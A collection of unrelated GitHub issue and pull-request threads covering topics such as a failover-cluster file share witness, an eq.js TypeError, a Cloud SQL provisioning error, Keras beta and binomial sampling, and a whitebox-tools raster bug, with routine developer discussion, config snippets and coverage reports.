@jandrej, can you re-approve if you are OK with the new changes?

Merged in next for testing...

My pleasure; thanks for adding and making it better.


FileShare Witness

Would be beneficial to have a resource to configure quorum.  Specifically FileShare Witness is often used in SQL Server clusters.

There is a pull request for this already sent in. But it has been stalled in the review process. I have used that pull request branch to set up file share witness.

See pull request #11

Looks like it is not actively being worked need to see if we can resurrect it.
Troy Ault | Premier Field Engineering
Office:<PHONE_NUMBER>  | Email: troyault<EMAIL_ADDRESS>Premier Support: 1.800.936.3100 | Premier Online https://premier.microsoft.comhttps://premier.microsoft.com/
[MSFT_logo]
From: Johan Ljunggren<EMAIL_ADDRESS>Sent: Monday, July 25, 2016 2:56 PM
To: PowerShell/xFailOverCluster<EMAIL_ADDRESS>Cc: Troy Ault<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [PowerShell/xFailOverCluster] FileShare Witness (#21)
See pull request #11https://github.com/PowerShell/xFailOverCluster/pull/11
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/PowerShell/xFailOverCluster/issues/21#issuecomment-235049542, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AMl96B9xNVLELl478VmM8HX38ZnNIHRpks5qZQbagaJpZM4JUbYs.

Haven't looked at the PR for a while. Might be that @claudiospizzi is waiting for the review or worse if the review is waiting for code change.

@claudiospizzi  Are you still actively working this?  Would like to see this get merged please let me know if I can be of assistance.


Uncaught TypeError: Cannot read property 'value' of undefined

If I use eqjs.query(nodes, true);, where nodes is an array with a single node inside, I get:
Uncaught TypeError: Cannot read property 'value' of undefined
This happens because of this part of code:
        for (j = 0; j < eqPtsLength; j++) {
          var current = eqPts[j];
          var next = eqPts[j + 1];
          eqStates.push(current.key);

          if (j === 0 && objWidth < current.value) {
            eqState = null;
            break;
          }
          else if (next.value === undefined) {

It does: eqPts[j + 1]
But my element has a single eq-pts (data-eq-pts="a:0"), this makes next undefined, and throws an error when the script tries to read next.value
I'm not sure if I am doing something wrong or what... On top of my mind I would just make the condition like this:
else if (next  === undefined || next.value === undefined) {

Any idea?

ping @Snugug
is this project still maintained? If not, may you please state it in the README so someone can adopt it?
Thanks.

@FezVrasta, @Snugug has been responsive in the past, and I'm sure he will get around to checking out this bug eventually.
As far as this issue is concerned, I think the fix, as it relates to the error you receive, may not be that simple...
I encountered this error myself and applied your fix, but then it errors here: https://github.com/FezVrasta/eq.js/commit/3378b4421f7d43cd075d2305d348c8a9dddec78a#diff-f7356f20b0494347f9d4d2f882ff8225R174
Because next is undefined, so next.key will be undefined also.
Anyways.. I digress. In my case, I got this error when I had a div with eq.js attached to it, that when matched, was given the Bootstrap mixin @make-row, which essentially gave it clearfix and some negative left & right margins. Its children divs would then know they have enough room to become columns. It worked on initial page load, but then anytime I crossed the threshold, either up or down, I got this error on every resize event.
With some trial and error, I found that just changing the clearfix mixin made it work. The Bootstrap mixin is like so:
  &:before,
  &:after {
    content: " "; // 1
    display: table; // 2
  }
  &:after {
    clear: both;
  }

And my other clearfix mixin from Scut was like so:
  &:after {
    content: "";
    display: table;
    clear: both;
  }

*Simply having a defined :before pseudoclass broke it.
After getting my implementation working with the 2nd mixin, I tried adding &:before { content: ""; } to the 2nd mixin and it broke again. So I really have no idea what's going on, hopefully from this explanation you might know why it's tripping up here, @Snugug ?

I'll need to dig in to this as to why that specific implementation isn't working. The Bootstrap clearfix mixin seems pretty outdated. The obvious fix is to check to ensure that any time I'm checking for a property that that and the object I'm checking are defined.
Sorry for the delays, crazy at work. Planning some time to work through all of my FOSS stuff over the next few weekends.

At first I thought maybe the negative margins, or not being cleared and having 0 height, or some race condition because of a change in dimensions at the eq point might have caused it.. so weird that the presence of :before would do it.. I haven't tried it in complete isolation though. Maybe having a pseudoelement at page load would make it work, and maybe the addition/removal of it makes it break? I really don't know yet. Hopefully whatever fix you come up with covers any other weird situations. Thanks again @Snugug :)


Merger should  use METS DigitalLocation instead of sierra one

Duplicate of https://github.com/wellcometrust/platform/issues/3926?

:+1:


Bad request trying to create Cloud SQL instance

I'm trying to test the GCP Service Broker with Kubeapps (see https://github.com/kubeapps/kubeapps/issues/362) but when trying to create a ServiceInstance for Cloud SQL, I'm getting a cryptic error:
Provision call failed: operation "projects/774136762833/operations/32fb22b8-75af-11e8-b9ff-daf13f1b231d/1529625798809591674" failed: generic::invalid_argument: Operation "operation-1529625799000-56f2fc2637fc0-354c5f3f-89a47975" failed with : [{"code":"RESOURCE_ERROR","location":"/deployments/i74a8bc72-6ba4-4de0-b7e5-cd534f4053a2/resources/instance","message":"{\"ResourceType\":\"sqladmin.v1beta4.instance\",\"ResourceErrorCode\":\"400\",\"ResourceErrorMessage\":{\"code\":400,\"errors\":[{\"domain\":\"global\",\"message\":\"Invalid parameter: HostPort ()..\",\"reason\":\"invalid\"}],\"message\":\"Invalid parameter: HostPort ()..\",\"statusMessage\":\"Bad Request\",\"requestPath\":\"https://www.googleapis.com/sql/v1beta4/projects/bitnamigcetest2/instances\",\"httpMethod\":\"POST\"}}"}]

The error appears to be Invalid parameter: HostPort ().. but that is not being set in the Instance parameters, so I'm not sure why that would be happening. Here is the ServiceInstance I am trying to create:
apiVersion: servicecatalog.k8s.io/v1beta1
kind: ServiceInstance
metadata:
  creationTimestamp: 2018-06-21T23:59:56Z
  finalizers:
  - kubernetes-incubator/service-catalog
  generation: 1
  name: db2
  namespace: default
  resourceVersion: "473"
  selfLink: /apis/servicecatalog.k8s.io/v1beta1/namespaces/default/serviceinstances/db2
  uid: 32fb23f0-75af-11e8-b9ff-daf13f1b231d
spec:
  clusterServiceClassExternalName: cloud-sql-mysql
  clusterServiceClassRef:
    name: 85c5e53a-d70b-480e-afd3-737b0b1329f3
  clusterServicePlanExternalName: beta
  clusterServicePlanRef:
    name: 9f62358e-ffb4-4fc5-b7a5-90462c15ce55
  externalID: 32fb22b8-75af-11e8-b9ff-daf13f1b231d
  parameters:
    databaseVersion: MYSQL_5_7
    failoverReplica: {}
    instanceId: adnan-db2
    onPremisesConfiguration: {}
    region: us-central1
    replicaConfiguration:
      mysqlReplicaConfiguration: {}
    settings:
      backupConfiguration: {}
      dataDiskType: PD_SSD
      ipConfiguration: {}
      locationPreference: {}
      maintenanceWindow: {}
      pricingPlan: PER_USE
      storageAutoResize: true
      storageAutoResizeLimit: "0"
      tier: db-n1-standard-1
      userLabels: {}
  updateRequests: 0
status:
  asyncOpInProgress: true
  conditions:
  - lastTransitionTime: 2018-06-21T23:59:58Z
    message: The instance is being deprovisioned asynchronously
    reason: Deprovisioning
    status: "False"
    type: Ready
  - lastTransitionTime: 2018-06-22T00:12:50Z
    message: |-
      Provision call failed: operation "projects/774136762833/operations/32fb22b8-75af-11e8-b9ff-daf13f1b231d/1529626354261133353" failed: generic::invalid_argument: Operation "operation-1529626354652-56f2fe3821362-65888e5a-d57f387b" failed with
      : [{"code":"RESOURCE_ERROR","location":"/deployments/id6f04f3f-10df-499c-9cca-ef99d0906623/resources/instance","message":"{\"ResourceType\":\"sqladmin.v1beta4.instance\",\"ResourceErrorCode\":\"400\",\"ResourceErrorMessage\":{\"code\":400,\"errors\":[{\"domain\":\"global\",\"message\":\"Invalid parameter: HostPort ()..\",\"reason\":\"invalid\"}],\"message\":\"Invalid parameter: HostPort ()..\",\"statusMessage\":\"Bad Request\",\"requestPath\":\"https://www.googleapis.com/sql/v1beta4/projects/bitnamigcetest2/instances\",\"httpMethod\":\"POST\"}}"}]
    reason: ProvisionCallFailed
    status: "True"
    type: OrphanMitigation
  currentOperation: Provision
  deprovisionStatus: Required
  inProgressProperties:
    clusterServicePlanExternalID: 9f62358e-ffb4-4fc5-b7a5-90462c15ce55
    clusterServicePlanExternalName: beta
    parameterChecksum: 652a49c3f12b51731576103822bdc432994e9e7a56b415c721a5783b2944b003
    parameters:
      databaseVersion: MYSQL_5_7
      failoverReplica: {}
      instanceId: adnan-db2
      onPremisesConfiguration: {}
      region: us-central1
      replicaConfiguration:
        mysqlReplicaConfiguration: {}
      settings:
        backupConfiguration: {}
        dataDiskType: PD_SSD
        ipConfiguration: {}
        locationPreference: {}
        maintenanceWindow: {}
        pricingPlan: PER_USE
        storageAutoResize: true
        storageAutoResizeLimit: "0"
        tier: db-n1-standard-1
        userLabels: {}
  lastOperation: 32fb22b8-75af-11e8-b9ff-daf13f1b231d/1529626371223350409
  observedGeneration: 1
  operationStartTime: 2018-06-22T00:12:33Z
  orphanMitigationInProgress: true
  provisionStatus: NotProvisioned
  reconciledGeneration: 0

If this is the wrong repository to file this in, sorry - let me know where I should be filing this!

@prydonius I think the right repo should be https://github.com/GoogleCloudPlatform/gcp-service-broker

I believe this is the correct place.

Hi, @prydonius. This is the correct place to report your issue. We are looking into it.

@khipkin thanks, sorry for duplicating it!

As a workaround, your instance should provision successfully if you completely omit the onPremisesConfiguration object. We are working on a more robust fix internally.

@khipkin interesting, I think we'll have to wait for the fix in the Kubeapps UI since we render a JSON schema form that will leave that parameter as an empty object. We could workaround to set empty objects as undefined, but probably not worth it.

Sorry for the delay. We've confirmed with the Cloud SQL team that this is not an issue with our service, but that the underlying API we reach out to is rejecting the request with an obscure error message. The CloudSQL team has chosen to still interpret this as an error case, but changed the error message so it is not as obscure.
If you want to follow-up further with the CloudSQL team, please get in touch with them by creating an issue on their issue tracker here. (Scroll down to the "Create new Cloud SQL Issue" link).
Going to close this for now as it's out of our hands, but if there's anything we could still help out with let me know!


fix bug where CallMonitor and CallHistory throws error if optional Co…

…ntactMatcher and ActivityMatcher is not passed in

Coverage decreased (-0.02%) to 46.595% when pulling bcf6fbd4ea43cfe89e031b88a6f0146033bb6cbc on u9520107:bug/call-monitors into 37c791b7a6eb756377fbced035574668ab3850dd on ringcentral:master.


Site Colors

Light color option was removed [config-theme-colors.csv]. That solved the problem which we had with the navigation buttons in the footer. The dark background (purple) of the subject word clouds were also changed to a light grey shade after removing light color option. I changed the primary and secondary with a grey shade to match the light grey background of the word clouds. A different shade of grey might be considered if the color looks too dark. I also changed link color [theme.yml/#theme fonts/link-color] from blue to a shade of purple (#440b8a).


Crash on ContiguousArrayBuffer.init(_uninitializedCount:minimumCapacity:)

Hello,
I've a crash when i use device.isSimulator
You can see the crash log
com.aircall.aircall_issue_1754_crash_a9c6a42051ee437aacd6c697e0e2d8c1_88e7791d791311e7817856847afe9799_0_v2.txt
Do you have an idea ?

:O I'm sorry that this happened :( Which version of DeviceKit do you use?

on the lastest version

Darn :( Can this be problem: https://stackoverflow.com/questions/33426618/swift-crash-array-allocatebufferuninitialized ?

Do you still see a crash or can I close this issue?

i'm on vacation. I check Monday morning :)

Sorry! Take your time and enjoy your holidays :)

Any news here @lowki93 ?

i can't reproduce this bug ...
I close the issues. If i have some news, i reopen it ;)


cl2/scheduler_latency: add PostFilter extension point

/cc @ahg-g

/ok-to-test

lets see the test first before lgtm

/approve
Will let @ahg-g to lgtm.


FR: compatible to @nuxt/content-theme-docs

Expect
Works on the nuxt sites using @nuxt/content-theme-docs

Behavior now
When loading, i can see the ads (weird  style), then when page loaded completely, ads gone...
When loading:

Page loaded:

Source code:  https://github.com/willin/rx.js.cool
Demo:  https://rx.js.cool

Extra Infos
Versions:
    "@nuxt/content-theme-docs": "0.10.1",
    "@nuxtjs/google-adsense": "^1.3.0",
    "@nuxtjs/google-analytics": "^2.4.0",
    "@nuxtjs/sitemap": "^2.4.0",
    "nuxt": "^2.15.3"

Nuxt Config:
import theme from '@nuxt/content-theme-docs';

export default theme({
  loading: { color: '#00CD81' },
  i18n: {
    locales: () => [
      {
        code: 'zh',
        iso: 'zh-CN',
        file: 'zh-CN.js',
        name: '简体中文'
      }
    ],
    defaultLocale: 'zh'
  },
  buildModules: ['@nuxtjs/google-analytics', '@nuxtjs/google-adsense', '@nuxtjs/sitemap'],
  content: {
    liveEdit: false
  },
  components: true,
  pwa: {
    manifest: {
      name: 'RxJS教程'
    }
  },
  googleAnalytics: {
    id: 'UA-33096931-4'
  },
  'google-adsense': {
    id: 'ca-pub-5059418763237956',
    pageLevelAds: true
  },
  sitemap: {
    hostname: 'https://rx.js.cool'
  }
});

I cannot see any ads on the site anymore. If the issue still exists, please ping me.


Implement binomial and beta distribution functions in keras.random

Following up on the issue https://github.com/keras-team/keras/issues/18918

Implement binomial and beta distribution functions in all backends currently supported by Keras namely TensorFlow, Jax, PyTorch and Numpy.
Add unit tests for each of these functions

Importantly,
As tensorflow doesn't offer a built-in method for beta function so I've implemented a workaround using a statistical formula to use gamma distributed random variables to derive beta distributed random variable.
Specifically, $U(a, b) = X(a) / (X(a) + Y(b))$ where $U(a,b)$ is the beta distributed random variable using parameters $a$ and $b$ and $X(a)$ and $Y(b)$ are gamma-distributed random variables using parameter $a$ and $b$ respectively.

Codecov Report
Attention: 39 lines in your changes are missing coverage. Please review.

Comparison is base (ffc449c) 79.47% compared to head (ee5153c) 55.94%.
Report is 1 commits behind head on master.

Files
Patch %
Lines

keras/backend/torch/random.py
0.00%
20 Missing :warning:

keras/backend/tensorflow/random.py
15.38%
11 Missing :warning:

keras/backend/jax/random.py
20.00%
8 Missing :warning:

Additional details and impacted files
@@             Coverage Diff             @@
##           master   #18920       +/-   ##
===========================================
- Coverage   79.47%   55.94%   -23.54%
===========================================
  Files         336      336
  Lines       34863    34922       +59
  Branches     6853     6853
===========================================
- Hits        27709    19537     -8172
- Misses       5575    13917     +8342
+ Partials     1579     1468      -111

Flag
Coverage Δ

keras
55.94% <33.89%> (-23.40%)
:arrow_down:

keras-jax
?

keras-numpy
55.94% <33.89%> (-0.03%)
:arrow_down:

keras-tensorflow
?

keras-torch
?

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Again, Thank you so much Mr. Francois Chollet for pointing all my mistakes out and for all the kind suggestions which are helping me learn so much. I've taken careful notice of them and will be updating everything accordingly. Also, I've taken note of the errors, and will resolve those as well.

The most tests ran before I pushed my updated random_test.py file. For any new test run now, everything should work fine.

Oh my god. This is a dream come true for me. Always wanted to contribute to this incredible project but never thought i was capable enough for that. Thank you so much, because without you, your awesome book and this keras library I probably would've given up on deep learning right at the start. Even over these two days, I've learned so many new things thanks to your kind suggestions. It's been a true honor! ❤🫡

Thank you for taking the time to add this feature! It will be valuable to many Keras users.


Allow read_ply to read point clouds

Codecov Report

Merging #194 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master   #194   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files         102    102
  Lines        2474   2474
=====================================
  Hits         2474   2474

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7893a62...cb190e7. Read the comment docs.

Perfect! Thanks :)


PDF export encoding issue

"How can the garbled code issue in the PDF export of Chinese labels within nodes be resolved?"

"This is rendered using Cytoscape.js, where I have drawn graphs with node labels in both Chinese and English. The first graph can be normally exported as a cy .png file, but when converted to PDF, as shown in the second image, the Chinese characters are garbled."

Thanks for providing the issue report. Currently cytoscape-pdf-export only provides a small number of fonts that come with PDFKit (see the README file for details). I assume these fonts don't support Chinese characters. I believe someone will need to implement a feature where users can provide their own fonts. Since the fonts are embedded as part of the build process that could be a bit involved. I can implement such a feature but I won't be able to start for some time. PRs are of course welcome.


Reinforce Issue for more than one team

When the bot finds two or more teams to reinforce, based on the reinforce rule, it finds the same crab for all teams and hires only one because the crab for the other teams is locked and gets an error. This is obviously for manual runs. With cron job, it can try again and again or the teams should be sent to mine in different times.
Also, is there any way to import an environment file in the command line when running the bot?

Hi @rmznovali and thanks for the bug report!
I will have a go at fixing it  next week, unless you want to try first :-)
As for the environment file, loading a custom one should be as easy as sourcing it from the terminal source envfile && python .... If you have issues with comments in the env file, please check these fancy ways to import env files > https://gist.github.com/mihow/9c7f559807069a03e302605691f85572
Cheers,
Cocco

Hello @rmznovali !
I tried ti fix the bug in the branch https://github.com/coccoinomane/crabada.py/tree/2022-03-14_reinforce_delay
Could you please let me know if it works for you?
I just introduced a delay of 30 seconds between each reinforcement attempt.
Cheers,
Cocco

Merged.


keyihebing

Proposed changes

Unreleased project version (optional)

Related issues (optional)

What is this PR? It looks like it was opened in error.


Add PriorityClass setting to registry pods for default CatalogSource

It's mandate for openshift compoments to have necessary priority class.
The registry pods that belong to default catalogsources should have
system-cluster-critical priority class.
Signed-off-by: Vu Dinh<EMAIL_ADDRESS>

Is replaced by an upstream PR
/close


[5.8] Add missing throws in MigrationCreator getStub method

Declare that \Illuminate\Contracts\Filesystem\FileNotFoundException exception could be thrown, as stated in Filesystem get method.

This method doesn't throws this exception. Let's not add more cascading @throw annotations. They're very hard to manage.


Import existing project to the editor

Hi! Amazing project, well done.
Is there a possibility to import existing GraphQL project and its schema to the graphql-editor?
If not - it will be great to provide a functionality which we can point a schema.json or a graphql endpoint url to the editor so that it can use introspection to draw an automatic graph (when using this feature it might be disabling automatic code generation?)
Thanks again!

Putting this on roadmap!

Hello again. You can import your schema now. It lacks customs scalars for now, but stay tuned!

@fenos


Upgrade Orleans from 8.0 - 8.1

Upgrade NuGet Packages from Orleans 8.0 to 8.1

Fixed in release 2.1.0


Really very beautiful code

The code is beautiful and well written!
It's the first time I felt reading other people's code is so comfortable

:D Thanks <333
The ugliest part of the codebase is definitely the boilerplate stuff (packet reading/writing, socket handling & request parsing, etc.), because I try to design the actual events to just show the 'flow of information', while the actual efficiency and complex stuff of gulag is all done in the background (hopefully that you never have to see). This makes events readable and high-level, while not really sacrificing speed..
Other osu! servers almost always use a high-level library to do their web-handling which ends up adding a load of complexity since the library wasn't designed specifically to make an osu server; for example in the case of Ripple, they have a class for each handler, each in a file of its own. With gulag, I decided to make it simply one single function per event, and all in a single file, and I've already found this much easier to work with, and read (especially since the code in the handlers is pretty concise, since all the complex stuff is done in the bg :P).. I think writing everything myself helped me abstract things in simple ways (and probably understand the lower-level stuff better).
Python is really nice, because unlike a lot of other languages, going for readability will usually also give you efficiency; it's designed with readability in mind.

I am very happy to receive your reply, tky <3
In the reply you wrote something about your design ideas, which is really great!
I have a small question. Why did you choose to write a new socket server yourself instead of using a lower-level library like Uvicorn?
In fact, I just think Uvicorn might be faster
https://github.com/cmyui/cmyui_pkg
http://www.uvicorn.org/

At some point I'm probably going to rewrite a lot of it with some flavor of async so it would be more usable for larger-scale servers (like Akatsuki), so I'll keep uvicorn in mind..
Not sure how well single-threaded would do with a few hundred+ users lol, it's surely fast enough for any smaller servers, though.
async mysql wrapper is already usable probably..

Thanks!
looking forward to gulag~


Support map_values for MAP type

Is your feature request related to a problem or challenge?

Description
Return a list of all values in the map.

Example
map_values(map([100, 5], [42, 43]))

Result
[42, 43]

Describe the solution you'd like
No response
Describe alternatives you've considered
No response
Additional context
https://duckdb.org/docs/sql/functions/map.html#map_valuesmap
https://docs.databricks.com/en/sql/language-manual/functions/map_values.html

take

@Weijun-H  This can be closed

complete via #12194


Showing bug details in web viewer

The shown "window" is insistent in clamping to the right side and the failure message loses every formatting, essentially rendering this view useless.

:man_facepalming: This issue was accidentally referenced by #567, and is completely unrelated to it. Please reopen.

Is this still valid for the new UI @csordasmarton? I do not see the mentioned report details view.

No, it isn't.


elevation_above_stream_euclidean producing empty tif

I have a script that uses both the elevation_above_stream_euclidean and the elevation_above_stream tools. The inputs are the same.
These are the lines of code:
wbt.elevation_above_stream(dem= path+name+tif, streams= name + '_'+ n  + 'streams.tif', output= name + '' + n + 'HAND.tif')
wbt.elevation_above_stream_euclidean(dem= path+name+tif, streams=name + '_' + n  + 'streams.tif', output= name + '' + n + 'HANDe.tif')
However, the wbt.elevation_above_stream_euclidean produces an empty .tif without throwing an error.

and I forgot to mention that the wbt.elevation_above_stream line works.

@erikafreeman I just tested this tool on a sample DEM that I had and it worked as expected. Can you share your DEM and stream file so that I can try to replicate your issue?

I suspect that this issue was related to the GeoTIFF reader/writer and has now been resolved and so I am closing it. My testing with the tool does not show any issue. If you encounter any further problems, please feel free to re-open it.

The problem is not from GeoTIFF, but from the algorithm.
I've mentioned it here: https://github.com/jblindsay/whitebox-tools/issues/245
Maybe you ignored it thinking it's the issue from ourside the whitebox tools.
The problem is, the tool masks the value if "streams" raster has no_data values on it. For the streams file normally generated, it's fine as it has 1 for streams and 0 for others, but if you've run it through the ordering algorithms, then it'll have numbers for streams and no_data for others, in that case the algorithm will only output values on the streams and have mostly empty output.
You can find the fix that I purposed at that time on the linked issue. But the code seems to have changed since then, I can open up a pull request with a new code if I can figure out what to change on the new one again.
Here are some files that you can use to replicate it in the latest version. https://drive.google.com/drive/folders/16BPmX8jI8xJGFsKIHcQjioJ2b5Qjx4Ya?usp=sharing